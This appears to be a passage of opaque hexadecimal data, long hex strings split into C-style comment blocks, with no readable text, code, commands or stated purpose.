315a6ee8c12a75d03b4e754bae4555f894ebdd5dc62d4a4f609850c6d15598e27e122f32d2eb0fd92c981174976aa449f47ffe89240fc9130b24a97236bac19d3d50368433d09c4cbd2d08e22936c101706f471ea4bc36292e403f39f398c49a371baa4eabd4ea27ad96ddbd006597ed09b7760eb8ff7502c90a7f66d85d8b92b75a2a534f75a1151b7f18b12bbecd7509ce0a81c04a8bf2175f12c28b67a5597830667f3e4e21ec9d061718a1d8416a32ed95e6985a1ec0c4a00b1d409029d02e24e11940098cc813e3aedd6dcd7fd542d41c53d2f7ab1b882b35ab66db30ef8c64e27e676d5faaa8ef54b01e597c79dc9209560f0e80d86c13b3638cd0cd7d2d9e2da322bdaa247d62288f4bd9d99e0eeafee8b3c8e1cb326cc74139b911d99178b52ad9bf1f19067832a8c3d91c2bb4604aa342936e2bc7b465f54ba1b21e2b7352d18937bf3b30f04a12adfafda335fffa762d5e3252394b49512313a71b90912af90291a9fcdaf3d64ebf7311de9962376c458d4aef1f35cbe88284efcaffe34154538682d0dfc420c6b7a40ceaf35688cea2e086bc2820b48b9b995192e7711364c61d1a3e3251961c996ff1bc2a590e22ebe21e219bd5cbc2f7404c8daca2f89115d40b5c9a7eb7208cf09e19ebe477096c48160e780f02d367495f11e792044ddbf0ee13545e61bc94567ba711484ca48910ba89cdf04200670813416714763e9c01296bb95c5255782d8344711906c231933ddee1ba718ea0d0f63868451d051bcf3106644717efccf6aa086f1ef556bfba47b04ebb58bffc2788ec18834183a350a7e874b2d0f3d0e5617421cbdc7d6e4508ff12acf6859b77136652e76a830621258c22811f9197911dcfe799f9ed19e7e2e49a68408f13c5f0026ab4f48ab9f59c8e7d1ddbc96516d43de8bf5a8abfd0c8de19cb77739f4a561c9ab289ead55d3b3ad3ce7f96f83e5515ec31f9a4f9b0642800edb79b0c2a26aed6bc7500d8040a6b33c29391a7fdd7aa69ad8018ab378555cdf84132d45cddef1c79e6c98dac06c88cbcdc2562c01dd2329472a8fbd225a15e511265bffb341e6c57a9d5e97b93b0a7223e25fa2f51ce09140ad9094ac6f93bb1d49f014e9ee2b7379f5865485ff6fec4a14caddff680f571647eb99b60d0132f7d0e71892ac7acc226485d5785d666b5dcb837d2dbfd464abf2e038ab0d8f3a0987db60ea52f3f919711acda405aa14c14ae93fe942f5c123666d03b1c1f8748225e103c2feabca28b5c7aa55a3246e063ff7dcdaebe4a44438daf47c819b2b641a8674190424b0c332ae6c74dec411c02e87e23177bf72521248b1e84a77e149c428bb6adea0e57dee7638e74a0f69abd37d7f2f09c32b6c694652255cc*/
/*a51358209ab613732c5e4e7c7ec7d26ff7015ff4176cc693b4805b1d23e9c9c030b84bbd05f49fd8fd7987609fd703cc9eb7eae95f00c621a61a420174345c06f418c862abee432aeb74820d4d0968f77b7f6fcbb456c0b71a30be3412beb9499dcb8b54ba9ff786161e704870c246f8f96ecb86b4fcd76c22b36bd257b0b8c4207f01e9ae5463e4f13cee7b083f667e3147ac5510fd7e6218628c53041bce007f07e9ce58f579fc7856a54edab1ec9d20b6df1de315babf482e55d3acdc33c68f6558cdcfd8b73238d04f9c49f3637aa22fc87b497e4f97371d5468e23a98efca53f17bc4857b70a469a379b737c029eeeaf3b15e4d2c329e34f1d2c55e42d895ade2030156b7d660fd694f0b44e9eccfdc9fbb058c026b1919bc01ba3ffdaf0b3de18ce7ea05a6c144107853009a27d7423771116f5889e5efe71153d90a9dd52f3cada5007609e090ce46db3e4b934e970d75bbdc620e7f4c24987a4c769fb04108bc98f6f38c08b435af3c9cdb756ebba5aad1d0e2c214f144eb493395141ba2207e0a48b4c3cb58722fde44b33aa56daa7532902a744d7be7fd95c7edafb3f9349f114fe2bb9c183a28a74ed4891ba77f7920074d8be29649b612808e5f8dc0aabd0c63ebfad3e1516a52f936c66b2a8c1782c4bbe500e5ea117246463be538c2e8f1203e94d5e8465670acdfa35cf3afa3f6ffcc875670b3e8e52b0562077499bddfd81ca6b38404b46ec4c82e09cd1f653ece094c5c6330ebc7c669813b935e66547f80ba87b7f630456383bf40c7eb38c8079a64538f35669e6422cce5c90131643c6d6462c3ec7bee647d5a93fadaa2089c691bf12aa1ad91dd686fde9bfb485c6d0887ef52c1037507cb951bfc65497b7a9d51ed265b7daeea678a23355673c74b8ab9fd77db5668f8dd9e3cec487d44c0f61088c721aff4d6107609e9723b3d7501d968f546ffb29a368d490664fc9e0ca38527fd9d5b26bc827ff34ae18a600f29d97d6843440106259212b07bbb154e60362d3eb0325eb182b66c7e76e9ecbeca46ea0d8726ea1644877c206d619d91e15752447e562535c0bc2f37ef958775093a3d1787e81a18538a8cab9d0bb429b322e2037bdda249865d76b24e7281e388d9dfdf2358187cdb9c257de8057f6e9ed08b9e2400973254aac10896cc6ee28bb478602618de6e6b3fef174cd4b03b064cadea44f8047764e7015ad0f75a0b330a01094a627ba64a6ba37f97e5ed5f1ebfabd0049545a4030fc30d157a916ec157d742aa12a6f66d2fca7451552a3504074cf11e814c57cb61e1052848fea41408900cfabe4786e7bef76d3205c033b14f0bf98fa18d3f6681e1a0c2f72724c6b49cf672a8363e720afa255cea0f615ca9c57ea4f578303d370ed6cc415589416304f148df8c5d45f9703b70a175d3832968870165a5d429ddbe8609b0b29d1a8e404a96d26654af841ff297ab2e91189e65fc07f18fdec26ddf159023bb0d1c39a49ae799c35f717b4d2daed9577e51b91da08f26fbd77e42ce5c7a476ebb7d8aaac5d550371cb93918724cc2b258fec004aedde1fede1610a797b7b20731ac7c3982341cfe44c0e42cebd3b8a2a19ec529b7613a7cd7520df75c9162edbf366fde49a0df4acc942659bb5aab31f6ab60b23689012068c36d1463a92ab2accfb8017a33852c2c5bf36bf6eb02029ddb85bba101f44726b62ca187f76b1d62f1b98d9b8ffc36331ec3818fd15e27562e28b4924f8e4df21f377d7fca4d04b9edc91b54355291c6e2fb4cb78d5fcc247c2dc92e6368de514356f90ee725b254f19639f3bff7e314c6210ed798d1b8674d9b41168a2789c25988546d2326d40acd7a019d02fbd2372f35a2e1d11310a84278d55b24f6660f4dd5951d67d8252490a17e5a1a50bc1d2412a0de4d92e45c052c579650252ecbadb6da48dbab9f1e77f45b698c8784d46446052c37e791aaf8a4ce96d2a666f9b64773416fa4fa27323fc2caefafeb8397d4a45034330cea9a1e8db6ed41053f861893646895319e5c4b17115e4e4da9b3a22173b0662b67a6997f27352831765accd5dd51d8e17a1b2010470927f02daa12d4e93e924c23eff78d58d76de3c590526f723d71d1a47784d043b0e05affdac87bbafae4fbec6560b946f16b876365e24847fac0de8553a917a1e34796317c4b468427025c7b96b5b236fb5d2d0c2778547bd98b195f323d78a86ad3fe9c1da54bc9e0daaec347b9fb0ee465e6e9788c3ee7d4c9b6ecd60702379178222a9819bceb301862b5187fe729d41136cc007958623444d80f185df6dc929c2ef362231a9acdcc2fc04a2432641e901280f9e3303ae725a70051037a46d2f46b0ad6dc06320481d7c2c60fd3342172a78623c5c2b61e415e5445b812effec7ba69914b962e4be3d9e6e6de34ff80aa98cf1c09d87c44c47d6ff11835d90d51a3747e7d2ea9c55905dd70c8859eab102bfa3d25169b7aba68cdfe42c1795bd8042a114f3fcb96d15665682fd2c203dd7a6c879c08a3c1489b24e9c52b3bcb0018f516c9123b7844ad9e469cf4d0f78c249e03f4af02d6c67646b561bfd3df861090fe106da0440a163003e9ae47cdae685cb6e4fe26e5654b35db67bdd6e2c84273ef07f97e399136e83f059cfddc87409161eed374b39da31e560e7e19aa7d0d8cad7cc3b6526920c85a91265fb14e072860a9a66e416f8f2fec5220306837bdf968c7a277a38381d0324c951aadc5e09d497f5ec058fb5327f921cefe0111aa33ad138ab4812a4da8a4eb69b13e76eb1276e87e9cca432068dc3370e07951d653cb5e*/
/*86d6b5194961171a1ebb6700a5a4074d393aee013551846c0df1558beff386718b12ddf35228838bf9436231f9b8351421d17a9069bd66fefb59b6bdbd6f61887a16b202d51d6b3c1d01cfdaaa33ff0d5dc4aebdf6677c0220f594d3de63dc96107f4ee52cdea71c5e7dec625b37963bd1dba12fb07c95aa51c35445e5b0faddfb2579fe1c9ea398e1f99934735ff29b2161971e6c4851d8b7a6b26cadd9b62241123fec1846ccb2b7181e833a44d50c2107e54b2f8152e291997b8241acaffc2b3d509bbc36bbcc3e42b309356309cfb023e18e5ae364f435c17321deeb44b1699200448b6c640d13f54c804968fc3f287f3d9184e288f283456210fb74b7fd5812dc8b82bc1e10fedcab5d0a7265cdca21c9c23751047bf340640ed9e8e65005f790abcf92046cc9a601c20ef31be4c72c39de41c92db3adedc42e4453d6898eedf6c581b82fa71468d9a9d029f2a9515353f49cf50083d9a8b3f348a238cfdfd247c778d5c71f2ed26c089d75a036880ce2bc36d0f8247ea2a8c5c1e0f726b71a0b500ee41b18a3a3f50f27d631a7fa25d86333c63c25aee3697856bcb121be47de4b1aba78f98f209bdd7f3b57cfefc1ae4f916349a0ed6100d3bb21184dc296f211e8a5bd5f3dcc9b21b668ad9e512a8613294ca1bb5ed197c3195ae3992a6ee18f256bb2a2aee4bca020a7271e5cb125f0636d5d62850346c0e183192e43256f7ac8fd0b25ce89cd758d2b5558bba0ab9ebbf7d581e2fc8a2ed376cb9af18653a7e155337c638a4ac95316face4680e12f617b6df32aa13f4b9f79b5b1f8aeb1d788a057503276257af98e5e652e8c6da1b88c84c2da80f7d57650d1d73272a69731772a43f706cbcfd00eddc666511c19e9bda4e4cf49dff91baae53659b1e0595ca56c331c0314439c142562260f0c2714c1c82d67df330e29b24d33430d876f848fb968dbee8e02865f794700f030e3df64f409b4577606f124080f7b2b49814c023c1c0f2db543e3d8472906bf3df4c8a01d26d0078597a8102a4771003507d79c440d93b8546c79c2c6a11e81da72d78e70b041c529fb08fd41f8a2430be1107c8442af549015673bca9f40b0cc21d5bf886c913764fca7b45416db062339e35cadfe1d8c75b7342477b2d389b7f78a74f2c8cae4e1c0cae1911480655d047728c1237a0d32b4ead9a5443404c6f8af318a8a40006949a21db5c6613a665360611885211760abf421055e8a5cca316cd218b871d0aa63bf5abe973f89aaae1b6507ee5f96baec98d99cc08c51aa81bb0308ae38300cd6badb10967a61da4eb2219445e5e2bcb055aeda65a09604487c33f83851234b247f8bd249231ad59838e7a6c8ee603fb780cf7e14e643e20ccd7d7f2e136708fd5e284f8b5c237f06e4bb51ab97cde29ea719f7406ec67cbc70a0902e4918a046967129ee26dec12316bd5aee763711bfbe03318a45e3fa214c16c1915a3a38d9be1b452aec242495ee88a192cdc87d9ea5687fadb705b753ee67a9a7747ec1db137759e6fa8968916b88eb23c38190006b132c51ac0d1d3bc74609ccfff23d41c216b30146f353b32c3e42d3ed32b7eff689df9c362f450fa3a4e5573a4005b46ea3d662c7769002250992712cfdedafa3a89d4f80f5ba44eb6ae71bcc23e0cd1666e8ef07ecc8a88339488d2d8d897345249bf9349a9ef93baf68631df84a93a49870844b63ceed334cb7f62b0c7d5e6cf9de2f24a1600bda5e47140472a0e472694a527ceff60340c00999a0d6d18113a6e074215a35d99292e2561274e4718974873ab8c2c3f424f3a7045743159e9aac621a6ff70f4bfcccf50dc858979f7d9710cb26df84110fd75aff36d4f4aaad4a651f5cded2b0dedc453af0be5852b7551c8d8d2c6ae1cde37f55293d4c0ba3f8b43b12c549bfde933df69b0806185ef364826759f1c768ba2f24cd82ed733210fe14674559d7262251a58776008cf5b3b49cf0f027bab8825e12aa23e48d3b77036b2cac3b366e504fb53b7b69d107772b2a69b4aa0826bdaf8d241a65004294a50e7bc99d63ac7093d2cdcfd01e6277d7e7b9e2558f94044029070d2b39a8db377af56f5842d08221e03e33935dd9f7dc1f5aa589f7f593d62a21ad2ae2198eff4f840924732cc3af83c6f97eb349fbe2f83e532274af3133864772c3856b540b66b4c33708f4713aacfe5ac0acde0151a5db5117acf54eb34ca5d4bf62a346ab0dbf2332599f999c06fa681145ef4be048de104a0931e29776c0a3f19748b02da2d3dbfe597d74cf0bbec89f8d9f114ead120fcdeb4172fa11dfbe3c58ef3c27f345a315769d1c4d90d7e2e193594337b0cb8e2c452d83ef1efbee5c0751ae34e2da87645c766c10be2655b5f33c20133450efa3ff32a4a20375297552a41a07069bd2b228e9b98de663d7ae7846f651d496f0e262977a8e43fe105e03ffb7fe6f13f4b018348388a2cc482dbe5d0eda66ee2f365c61a1223b27b89b4463c9c9d2a648a40b7e9f57185273c721b819bb467245242ab1cd7ff55f5b584c83edeba15fddcf192163357742011dc36317435719d323a6fe485090036500104b8a591d16ea98e55676be86336da2d2b4b3bd2c6e61ecac2e638f239e0bbfc78d582a659e777ff5010c37cbcdc10ac0d26ce9b5498319e91e6171c8a89c81196d6f6d85f43a8c550e185109191d6cae3dce418d5f487009e7bfe30763cfae1d8950e1f78cc34d0fc1a7a603bb67b76bd65c8529722aacabc6bde430700cde1c8b0a041c62514c10d13cc405d4bf2b0afdbdb5d316e5d7a12c1352f03241844c1ba34e32*/
/*00d7915af652d603153e2f189eecc96420e5f1ef011da0761b02cafdfd689ba3cdc0613e94dd0dd046355c6c39378f9a01f12af04e1854c73032eaa18145ed32ea0e39883a55b3970c97f6e6ca86fe5895ff3bbcac8fd62cfc93760bfff49b4c988e6868c63a807e00bb49baf4789499174d145d48938c4d934739833c89e8bdf09c9e5eb6b072775feb33198385159880da1b3cad9d2a55293f1e3bc66ab97500429a43a0ed1d524906af271f8f8257b68072681d17042d569fae5f7b30511da10cfa2b3e29c4abdf52b54f6e5841a860fef2a13ff30179aea577661990f0b1fac50793e0f8ac3c08905c4bec3e71aa082396c70203c71fdb77782d517ec5bf57ed01dd2819134cee02d9fde645fc930899107f26ff285579d459e8e7fdb3594c286cff0928c41943920c3999dc7776877a80dc4cd9748cbbc0c8bc7a547fb1d46d851b0e04a82fcca8b76ff04e4d029f18fd186166cc6ce227ed0b4a5abccbd8d129c7ecd348d0318e74bdc4c9a628a8450165d71ebd5e9b558c90defb6b9d61a1dfa358db3c1b010608d3e1d0f8afde40eee3aff0109d2f62942030a51cebcdb2333c5a342942dfa6fa6d3456de8f038c3e2330034635b9e17271b5abd8a97aae04019b82e8858ac2c6f4ff586cd09173bc9210db4dc74ffae4d2f1f9ef5ee030de58d989b1b25a79832ab5843f5f4e975cc7bf60f731bb812caeeafea49ba7a885aaac2f005960ed31085a2cfb91815ef36f4d678286613d423a13777e6fec76cc7769452164265d1e10def05bf68ad0bb8b71a838595f94a19b4e3ed59ad563c588eeea2e12b63305ac63fb44dcf580846fc06e7d8c850d4a48a00d3ab4a540a1a24c2017b463a38685b192ca7685c9943d30b7af352aa69c944cb01e01cb43f04a845df7da31dbd83aa0018b0b51f76898ba94382e53a78cead1e97fa5196489b486c991fb9cc01e4d4bd1b2da61caebdc65f9484c17e8c8d1f85a8d05b8643582e8e2073bd025ac6a9fae094e9e999e2b91680274185b2860132f97049e190d1b67e0763e13e5aca0fe8082c7b480fc52e580595cc4afb375f98b8e124feee7103c581ad6049c14d2375e7a41edebd10cbc39d9a4b7133dfd469725d598d50901f02fb85189aec75a57e656225782ffc637fe5a9a79122b0b5b594c80c8cee7dc64049d88e24fb9a9e7a62ead3370d9a8f01aef60483b9c1864c438000ef9ebd86490bb344012333b8fcb4d0946461aae57886c085c51a3cf7fc5b1af41b1b24ae6950802b9129a44c5cc61c8b1d07d7ce3319e75d708cd78fc01c7de510c149e3b6264c5648649d050a104c05ba968d453bfbe9b9b7c266c236f34c7abf29badda09bf909907ee1fad973f37cc110ef10e49e02c6b110ca60f087672926a53e0ca2ed4e4044f907d048b610a9dc6ab804af7b513fbaeed00eb8d2de789d1b7d9491e106e785373bdc19a6caf34f6150deff92149f0670e5f1164e308abef4206e525f0785389f000f2a34dec63f73f72e0aa11798a9f8afa8d9815da11fc7d94b01aa962235e4d47b37258abdb6960003f54410dbe002281454eb464899c3b073c7ca83259b0c47ad6fcb4ea3085d904c9df447d5b33b235bddee934bcfe25595db51faafea790ac70dede997d9b72d5ddaa10ed2040ba5f4446620de3005d897fec9cacbd154443b0318a062c390808cd6c97d004b5a74d9f8182096219a351263445f60ad16cf6c072d9061e2619c0d631babb394572f5f4f662e4a726d029df53fefedf62eb1b4954dfd1f1ac983bd483bebf02f01aaa27d9b93fc99f53191523da02d9f49ada2722a8d960bf182ef6022e8b124bf45da53fdce31ba759b366d5b1e2b4d436848322dfcfd436a91261379c43d81666469d1888cb6f1b37f1bce84e12e287f382abf36cbc15bb70cf002e69efc58e4ef124ea6c248baa1c1ce0c4f829047a3bfe0879d7bf13befdfa8756719bc32b02c5a4387a51f0dac267e887721001a7d8afee8440c74ae0b540d2b42c7e0e6fc8729f4fa24c66eb5a6b0a9943165666322d92f58492308b37432cb1c442dc0f231065a93c18d3b4330764559ae732550eedd4e1cf3539b024bda7970154900aad1dd17cc1c06f9fe4a4aa12d1eea53fe522df2ff56f4e354149357552ad08dfe785aac51caae675b5e723df28a1249c75e127fc84d7b23d6956bc8da10998912c832bd2f312eeec8080de98b08d64e4d0e43f7d48562a49dd14633e59e1394f469a373a4ffed69504a8e449ff9c6b75878be5dab25904135ff866349a66dcecf5e761c7df7658a351a65b0e9452fa1e7432c4aef3bbfd9aec5ff616db7f511fa31d92703d5a9036b8d065f5c01694de3efa774758b5e29897b9205e0f81176e1cf5fbc4b3732ea5f77629331743d738f57f7e8aebd700aa444f7f62703a0ac15b6d963e1183fe843a97650bce21e6fdb2b9b04a19501c0715b1f674ad19e8ba715d45a47c42bb02ac29f2b21d70e18e68b937ed428bfe96b7ca5765e7b9a9288f36cc354c885d9c7ff4390da6865c3824d6203e10ca1293f106e93dc76397a61aa47372c9c64209f4277584b490df82ff4362c5d308ba64e37f17fd872070315405d3d93882ae60cfa7cb2ee52d4f0a06e508682f6cedbdf4fba269c2b55ae5efee902cb81b13fe948d8d5a3b265353aa72b53ecbd0dd447625d811b63b95452dc638a4ed3f355f92146211d76ff471bb85a5e9f6abfc51f9a8e9ce0827a6d0f91bf1b1563709ccd10523591ceb6a8a9ff6733230e03e1170146b3e0e6c55adcd18cc61bf3fba05a3615d838da367828522ccf2fbbc*/
/*1775da4797d222f128d859b57637c0c4f81ab417760ca04786be71364c0fd2213139287d782f6a7c9d5ef9b52492d60fe8108fa3c033de1627a21573382bcd3003d37cf290343cad899c4d55345ecc09ad04941deccca2eaa1023040419660209e33d14c437478273cd4114792f37fb23aa898ac82a0f96b0e59ea67a34cbed0be6371a40a12f95438f6f30308ad3635b23773c94af9692f8c8862dc162e0bb385a68c73aab53ae85109f05ee97a4d7312b801dc83b6dd3d32ab721d77d0b20efd047e4f2387d2a889b3cf90948219e80316d03eadf9f9f5fc12e141fed364da96d46f1dbfe076bb1a1360777acd6a5b5413eb7dec4778f731b8257ccb5c51ae5d78270373a8609f928a171be53410c0b9abcb77bfcf9ba8198caf9c860ad5d73626270d21a5440a65a2776c4adad7b045bdd465343c7b05643268742e7a6ff6734feec286cf984eed8fc6cfb32f0d3bf3b140c5e30d46fae98d53400b9fd2c9823d5d37599373acf12d754eea91d25dacb45742a38969951efb1b86eab6edf52c511b539b2a14bad87ccb37bfecb10acd254ce0f5a35b8f85735b7f9dd1011138e8b974255fe1d7f6b6edec8d1fad83a6df5cdaf920353c6e6cc59e5ef8f503fef8a39c7db6c6196a8a1813b9ea57875d08b3e90e5686200d0e6cddfe3f9e15ce41411103e3e544e7668c0305de4c866a7dde0d3af282db59bfbf1e7e05e5c2199e430e025a2d66a0b30f16b59236e626b651e796fd4de6b0c5b7f5dfa6b74ffb9834066c81e0df6b7da67986f77822f3391035f5c040eb36e403ff6dc780931f8d9f9a1e6d64f5c682152a9aa9c47f7bc593291aed101f07f568be4fa6284a0ccc82e37b428b511d4aaabc669c93032c37a57c9449d933f646fc17c1d81dda072d45759cf12ea7c2e73e1f92e14c052cd951a11cebd610cd19bb074385362b26daa07d61aa811647d4d40cca89c18f973b5df0ff9dd337aefc7e7d63b3e2ee76516313de10978d388d301e61c441e8b1ae7103229c78462028bdd1e42f2e0148090e5cd238cebcd9374a24cafc057d3c00e997e4dd2c7d7bc4610257ad9b2eb7a55efe3d640bb801067d523019c2082f4612e0aa8d4400c25eb72562aecfe91c1bb4ed53b4f654b01d76ca33e58253c60e7377cbe937eea0c8444c6e8f444b44ea93898a90e579af51106db8df72ee19e3703f1ca7f3601ae45a40762dd96cc78ec7fc5d0de1f242c27eda60269047652020561c0e785de7d040faafa8a1cd0615d0c6b078da0a254e3576afbe37509c65a3533bf1836405ff0b7c3af9e35a8d48039611392fcfc27a5885a923d782de49a6a1a4bcf51637c58714aae65e03de17bd6879cf77cfe50a7dc9423ef57af7e511523d4bef793cae50a6ea15b081617d6cfbabe7e5d1514ac950b310f96c4dd29a126fa66c1deae30bd70326e2d699adfe2da3c177148aa589e882b279640a52746e13114a729310b265727db960c274fb8e42963d4656e5ff4a78added0f12614a585c3a40cc2c2184a5e0ec6df66cc2a1eedfde27e3fd24517fe862f416512c312fbb03d7cdf72fc2d2ed38b7a8b02b222c5f3f97c02c420e5eaba514c83f8b457c2f218714c29b76c942897b54da69bc38b110342e99c28ac9df0852652530a5dc7e15cffb7b3a781d6a3ad6b6decf5d29d85f0e57a1a99d3391d219efcc738dde8ab27b3ee14231ce8aff5486752d025c8a5b7428e38f9ccc0793257f1735f9b224c4c2ebcccdbd9ee956dc9dbd0785dd19cb97c8a483375ba6c8850efebe196bd0e59b2961159501a24b4a9cf59e9279efb1d320ad3e03dfac404d2662851610ff4646b5f2fb628a6141bf150d0c79032ec4724162ffd9814055901e246b937a4d9ab8ffb39cc5fa4d839db11ece148aa62e6cb0dd6ef8dffe0a94aca945376676dae5d85b1289bb92e2b490717ca1f9d7aacf67cfc88c38912becf6f1a4133f902894b0236c2679a68f7933ae011c12e441b29016784a6c5195277698f045bfdd3a957c2ebaf4585f79bc79e1dba9688edd8eac1f8ce586406138459e52acac30d1ac8b1439a6f48ebd50057cf851d050c58184afe6573f490915ef678491b30beb64c770aae458e02d3a935948565fc71fbde6469b2c60c2a724d4f9b799f8b454e9a56ef6450204e97c227b1ab10b759fb5e7505ddbf6b727c924231fe48385f569c7e2cc5d5954f51e22b150c6a1a5ad4ae387c521069db06d869d467615933b194aecd3192fa8d9ab33f73604c89f458d50c3078418152f62b84f01f6bbf8807ad89bc91861a42fb78b22731c48273b8b4eaf712b8d925c904aca14363e0437ec08689e0eb62f9cbdc85b825740977cdfae88e638c82c36ebb8e54648914b7e51358f99ecbd677675407d1558e6bac32241f71561c84e271603d65cb7da77bbebaff62e129d75a3f15a59add711e810b4ef71799fcbc3281f2bdc3bafa5b8f3832dfafa8b6bdca534dd68c1e1351bded0c761cfdba0233e56fc4c81f1ab1e0cf9e92b181e369b0e02617bd13745fb7583bffb7f2c9050a710ff8bfcb22a8464fe85d1d732955aeb32382dbdc616b6cee2fae0c55a1e39af0eed6ac9ea9395bc4252c6c431a430c737d49cfbb62f9b1f24f05d937992daa1c68ab2ec2e68cfdb87e20687e408a53889d479cb6310226aa39f8d5e4c04dc8e13ba6a13e93cb918660d49dfc47a1d689d04821257c566fd25bde47f7475bb707a3f24fb6d6d5c903752fd99885cfe7545966748b132992f1fd0da4289443a383570cf83990393ad6c6c353232100196419a624e74cda8f90f3a837d49a1dab554d*/
/*3bb72d1cfe5ef28bc8754edfc3a24f7950b43a94e948aa6356968f4e892bd39c33162862fd32ed79481de73f2fb222eec6d1f7b8f40c6bf860bd0750ac853b7b18435ad5cc6ad13c3ac47b9e152e87dcc604d513c15c5e564bbfaa4cc5b58c8cd8e75cb666e25ed0e5bb62e05b877195606b28671e787afd5e036aefd694d47f8220c90f176cea19257add68a5d673d5e8de3846d55a284aa09b2f771fc7e4f921f8ac628f9ad3f60315dc267d8967f0f16a2f730b29d2b4263275f781e17921a88277bc0004b5f4ededa8f2ece5846dd8abfec3c7b27f785b73676b476a4f44157886fdb33ec2b9a5935ea2962606a1cca40564b3ed769638da2add91d13243c4606c99a36aab6e820111fc19b71a51fff40044c38bc982d0e1872927884a26ac2b2d1e02961995d073babec864782e868922e7bf9330737fb732be0aee9930f57087c90e70d4e4d31eda5bcbfb41e16dd072d640d634102c9c2488df53b03c5aca377aba15e7b9b9582d0f45e764bc7951f539282d1f8594895e856349e17352aa6f316f628090838a0c50d026bc68fccb95f43a373662f821a406243886cc67d8377d6c67b63072b1a5ae1d11ed462493ff76eafddf6ab4380faf42792faf4801f8b44ecb1624126a31e534e2a16cb88c7a16567a483d9c064bf13e6dca6127aa9c197d6dd141be5904a3870811050a0c30dcacad0877a669f89994cb96903af4c977931beeb346990e72dec4b3da74282d8dc77519e9da61101549b62f56491687d92e1204811f7a80465759a473edf478e235afc82504f3c6b2fa55416b1ef27530af49381d36f43255eed4dbc01b23925ed8187bd1d06a0a043d3b19cbe475defae936a0094376d3ae90e1204c62224ec2e39603aef48a3ad5810563832305eb8b3bd587e522b79ac8a5e90b3555d2a3231d5a62149f53196a8f035e78cf620a4b606edc5eebf34129e08ddc0884658e6ee896f25b533ffd73daca020653c91164c501332f7df12bd38a83478a62e7eac402d339cf925079fcfb5a4cb9df54e3f158ae719bff8129335b7aa4bd1dbc98068682161b334545dd0133432007adc870afb3a2037c5234f760554991ffec36703655a1fb61ec78d9800065830ae544a9699f39f2acbb877dbebfdfc45846d9df980be8b0610fe50c8f34a1f15b3555e60161d7f404f6c30c1bdb0a2f8c6a00d43f3060b525696c5aeded5b860614a573b15f9cd877d985cc2a4b6e38756c0c99ccba526109b3d4e4f3813072cbc3baf189c61b838baf0c46d7b2c4371d89d06e793fc3392f89a8435dcdfdb15d44b2eec0c6be0ef9e1c5d03c3e3c7ecfe33b426ef24c132163f77476f523d75a1d60e0c4c6afc5adc090cd46e64a8aad2784d4d18900b59bca24a3ab61c75d1982cb4c23ae699d77368f732488a2bf4e770ea68fa48e292ace0c11950bb73a4a8ae3f64c29431e7819ac5fd143a2c4fd99763378f54b01f9bebd608b6bff72fca71d7d7ed258abc464b79e62a9cb4dcc1c3f0f4eb600cb324b3583a16eadb283cebef5761b34581230bf02ba9e6b0185aeee5a820a6eea42f1f2a792012c68297fd4647c063e1b34752c2253dbb300c142ac874bb38447b0d8db5c8eda90bf4d0eed264c7d0229d995ee9ee7fc6f6a06a4c1ac50f4210ff9e056036a70236adb067adb75a00f63f013b76cf1598e8b4144d4fd96606bb765e2bf755c4c7465b85db53c49cbcf5f9bc4265c2ab4647ccbc4abb3edb30c93288959912cc5326aeaf9450de98ee306a42ff79c076b3713f32bc54b31142cf110d9c655d157a1c376b404f0f4308960fa682c29e7b280bb28b7fb9d48158510ae563be7f541f29e7efd522eb9a40c987f06d458687dc02d2165024cfa8f9c9e5fc347929d1117021230464e7aee322c0dba54b1788aac3e6667d6debb2c11b7660e6047454af341b3c417ad7e35682beeb631478a35d77daf45b0e0333fa1ffcd6bc6e87ac8e0cbe5d1a789d856e58c699a40b4d0a0877c581cb803984f3f88875169f123ec3fa1f781596d8dff6ea2198dcc58975c1c7e68906a54a13156646e53038c716011c65e36e55ecc616bc5db5b2b4aa392fb71ec482607a231a9609cd3daa28479d578b6b26c93919d59a6d854fe9c9267afc13b65c91430f8cd939ebebd73d298a676d0c06bd737ab188907835892d22f252e43e7232c095c3838f6ac624068243c8b8780e860f024c1553d40561c6fe7598535c965177838ffb210390e5ed3bb701fe5688f6bc401dbcd7f7e4d2f1f383536319cd0055aa1c9805c1dee15d816718890a0dff3157e374178968efc2c0521f8fffd5290e78f530981703231e32a36fef3a23db39381eab08a0dd55cf9b561ec0c543352e6c16418efed4b5d76f1b369c5e2d828b9a5755cb0c76dfb41667cc48ad01d06fbf6173e529c802b5ee9674ffa2b548a1ff2fda7291219b95a41234e279d0a0cba77c113383a4e8c6856a435d7f268559b1691c4682da595071863660be117c3f74f81a748b6798ed26f3e0c75ec9887e7d8fc908bb39f5719880c060665cb52c932415eaef7699fc338fa744c1a18a88cf544a19eb8eef5611566c6c0354d23ef1c61b4c701ed55bb5ae3b9c69ad66159d38f63b3238f5b271c530d96fad51f2645501ece2abed9cae745c48fdc897efb40d60f21e9fb0b31af393991951016a8c664e1c7f66e8ee5cebe6ae844f7e975ed2ffaac8d0207b34cef69f1561092fbc0ae314e572fc7adf625bc7d3a4de988fad91696d8b545ef1188c87ecac2983200a9434e39f79f64b3c6b8fe1fecd5a27bd7663740525d843e3961*/
/*df2678e4de77a9a87bbe0e60aa606e24e1a411dba42d433ece36d1a6804d79020f553173dcb31f17bc71b62ea3bbbd15649cf81681c19f0c5b8504b4a6dd337a9daa7b5207f7dd893a9791f9610967f8660f6a263ebe74db86430bf7d5152ee9f0457a5ed53cbeebf44e2ed71ce8e5ff5a1b97e5084a743db091413bc8dddb7681e226cff63ebd307715344027765bf54ef62d18d14c9027c6432bb674881c7d567048a84f777e644b6733d0afbfc8e2336716d845ff95ffa88206ead6565df39f763fe66727d4be3e22db07fe9672ba9c660e6dfeb3363a930d8a8dd8b9c04206e6fb03e23ffd79891eb387729a21c8a9b71f462506be122622add9a13af334d93238f86173ee84ad877b6aef59ee5c66e11fbbb45059025ef9ce25455c566f33e79524d038a290f4c174b19769cd053075eb711e378e4f8c8b9d17e46f8b4230c2f98b5ef34e11d904fe6e17c7d84f8e48d65af848985e4eff09b52e072507e45ce4fa407bbc25f2793c997946106f015cd7484ec84ecb35386c9e44a5814d7a18e30de1fa4ed721431588cf81dd29e379293627dda0d8e2a9dfd924f9f5d469b613ef56d448b98875b756e867b4c12a2c8daf577775e5fe9a77e08d3ac9c945ef699825a3288bea5204f6368612c84b9a771510807625cacecd6e0e05416a9e364b20b46c3cff170c00f32c0de573b657d2c5e2ca50a402b8bdc19c73cf7d0551a4469af56a0e04b7bf4995e6ac5a25ebf5fce0df9650aecdbf5bb9b589302f7f913a96f075106699f2441af8f2c2fd8e681ef1ba9cf78a6ae5e4f8ed10f185e922fd6667ccff3899c9b420248a247b7e160079014740ac422dc